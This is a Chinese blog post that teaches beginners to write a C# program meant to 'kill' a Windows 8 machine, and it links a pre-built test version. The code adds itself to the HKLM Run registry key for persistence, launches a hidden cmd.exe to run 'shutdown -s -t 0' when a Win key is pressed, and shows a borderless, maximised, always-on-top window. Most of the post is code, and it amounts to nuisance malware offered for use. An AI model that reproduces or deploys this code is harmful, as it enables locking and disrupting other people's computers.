首页 > 代码库 > C# 三个动作搞死WIN8【小白特别版本】
C# 三个动作搞死WIN8【小白特别版本】
昨天弄我是小白我怕谁第一期的时候无意间发现win8的一个很明显的特征——按win键会进入一种便利模式(单击程序直接进)
嗯,这个很好,很方便,但。。。
众所周知,系统那些按键键让小黑们很头疼的呢?win键无疑前三(ctrl+alt+del alt+F4 等等。。。)
如果不通过一些比如用钩子之类的特殊处理就会很蛋疼,而win8把win键用途换了,这就是突破口!
三个动作:
1. 开机启动(为了让软件能够持久的快乐的生活)
2.屏蔽任务管理器(不让你结束我,最好的防守就是进攻)
3.填充置顶(无边框,顶端化)
常识:
只要学过编程的人,都可以搞爆电脑,比如一个死循环不断的执行一件事情,一会内存就爆了,这个方法我就不说了,太没技术含量了
详细分析:
{开机启动}
先分析一下如何加启动项吧(我是小白我怕谁的第三期也会说的) 把当前exe所在的路径写到注册表中,下次启动就会运行
string KJLJ = Application.ExecutablePath;
if (!System.IO.File.Exists(KJLJ))//判断指定文件是否存在
return;
string newKJLJ = KJLJ.Substring(KJLJ.LastIndexOf("\\") + 1);
RegistryKey Rkey =
Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
if (Rkey == null)
Rkey = Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
Rkey.SetValue(newKJLJ, KJLJ);
{屏蔽任务管理器}
{屏蔽任务管理器}
一般人都是用钩子的,那个太烦,而且新手不怎么看得懂,我教你个简单的方法吧
用keyDown事件,当按下ctrl 或者 alt 的时候执行 ——关机(我们是小白,斗不过你,我躲呗)
private void Form1_PreviewKeyDown(object sender, PreviewKeyDownEventArgs e)
{
if (e.Modifiers == Keys.LWin || e.Modifiers == Keys.RWin)
{
this.DNT(); //关机事件
}
}
[DllImport("user32.dll", EntryPoint = "ExitWindowsEx", CharSet = CharSet.Ansi)]
private static extern int ExitWindowsEx(int uFlags, int dwReserved);
public void DNT()//关机
{
System.Diagnostics.Process myProcess = new System.Diagnostics.Process();
myProcess.StartInfo.FileName = "cmd.exe";
myProcess.StartInfo.UseShellExecute = false;
myProcess.StartInfo.RedirectStandardInput = true;
myProcess.StartInfo.RedirectStandardOutput = true;
myProcess.StartInfo.RedirectStandardError = true;
myProcess.StartInfo.CreateNoWindow = true;
myProcess.Start();
myProcess.StandardInput.WriteLine("shutdown -s -t 0"); //-r重启-s关机
}
{填充置顶}
窗体加载的时候:
this.FormBorderStyle = FormBorderStyle.None;
this.FormBorderStyle = FormBorderStyle.None;
this.WindowState = FormWindowState.Maximized;
this.TopMost = true;
先给个我以前编的一个测试版吧,我先睡觉了,累了,明天再弄
http://pan.baidu.com/s/1bn4Bd8r
本期推荐:入侵的艺术:http://pan.baidu.com/s/1o6HMkrg 入侵的艺术和欺骗的艺术被称为黑客经典书籍
声明:以上内容来自用户投稿及互联网公开渠道收集整理发布,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任,若内容有误或涉及侵权可进行投诉: 投诉/举报 工作人员会在5个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。